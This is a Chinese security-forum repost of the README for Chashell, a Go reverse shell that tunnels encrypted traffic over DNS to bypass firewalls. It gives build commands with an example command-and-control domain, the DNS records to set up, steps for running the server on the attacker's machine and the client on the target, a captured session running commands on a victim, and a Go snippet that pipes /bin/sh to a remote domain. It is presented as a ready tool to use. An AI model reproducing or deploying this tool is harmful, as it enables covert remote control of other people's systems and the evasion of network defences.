安全矩阵

 找回密码
 立即注册
搜索
查看: 2546|回复: 0

Chashell:基于DNS的反向Shell

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-17 13:29:39 | 显示全部楼层 |阅读模式
原文链接:Chashell:基于DNS的反向Shell

Chashell是一个由Go编写的基于DNS进行通信的反向shell。它可用于绕过防火墙或严格限制的网络。
它带有一个名为chaserv的多客户端控制服务器。

通信安全每个数据包都使用对称加密(XSalsa20 + Poly1305)进行加密,客户端和服务器之间使用共享密钥。
我们计划在未来实现非对称加密。
协议Chashell使用Protocol Buffers序列化消息进行通信。作为参考,协议缓冲区结构(.proto文件)在proto文件夹中可用。
这是一个(简化的)通信图表:

请记住,每个数据包都经过加密,十六进制编码,然后被打包用于DNS传输。
支持的系统Chashell可以在任何支持Go编译器的桌面系统使用(如Windows,Linux,Darwin,BSD衍生版本)。
我们已在以下系统进行了测试:
Windows (386/amd64)
Linux (386/amd64/arm64)
OS X (386/amd64)
Chaserv/Chashell 使用构建
在运行这些命令之前,请确保已正确配置GOPATH环境变量。
构建所有二进制文件(根据需要调整domain_name和encryption_key):
  1. $ export ENCRYPTION_KEY=$(python -c 'from os import urandom; print(urandom(32).encode("hex"))')
  2. $ export DOMAIN_NAME=c.sysdream.com
  3. $ make build-all
复制代码


为特定平台构建:
$ make build-all OSARCH="linux/arm"
仅构建服务器:
$ make build-server
仅构建客户端(chashell本身):
$ make build-client
DNS 设置
购买并配置你选择的域名。
设置DNS记录:
  1. chashell 300 IN A [SERVERIP]
  2. c 300 IN NS chashell.[DOMAIN].
复制代码


使用
在服务器端(攻击者的计算机),你必须使用chaserv二进制文件。对于客户端(即目标),请使用chashell二进制文件。
因此:
在控制服务器运行chaserv
在目标计算机运行chashell
客户端现在应该回连到chaserv:
  1. [n.chatelain]$ sudo ./chaserv
  2. chashell >>> New session : 5c54404419e59881dfa3a757
  3. chashell >>> sessions 5c54404419e59881dfa3a757
  4. Interacting with session 5c54404419e59881dfa3a757.
  5. whoami
  6. n.chatelain
  7. ls /
  8. bin
  9. boot
  10. dev
  11. [...]
  12. usr
  13. var
复制代码


使用sessions [sessionid]命令与客户端进行交互。与之交互过程中,你可以使用background命令将会话转为后台执行,并返回到chashell提示符。
使用exit命令关闭chaserv。
实现自己的反向 shellchashell/lib/transport库与io.Reader/io.Writer接口兼容。因此,实现反向shell非常简单:
  1. cmd := exec.Command("/bin/sh")

  2. dnsTransport := transport.DNSStream(targetDomain, encryptionKey)

  3. cmd.Stdout = dnsTransport
  4. cmd.Stderr = dnsTransport
  5. cmd.Stdin = dnsTransport
  6. cmd.Run()
复制代码


未来计划
  1.     实现非对称加密(Curve25519,XSalsa20和Poly1305)

  2.     使用InfoPacket消息检索主机名

  3.     创建代理/中继工具隧道TCP/UDP流(通过DNS进行Meterpreter!)

  4.     更好的错误处理

  5.     摆脱依赖
复制代码




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 11:21 , Processed in 0.013139 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表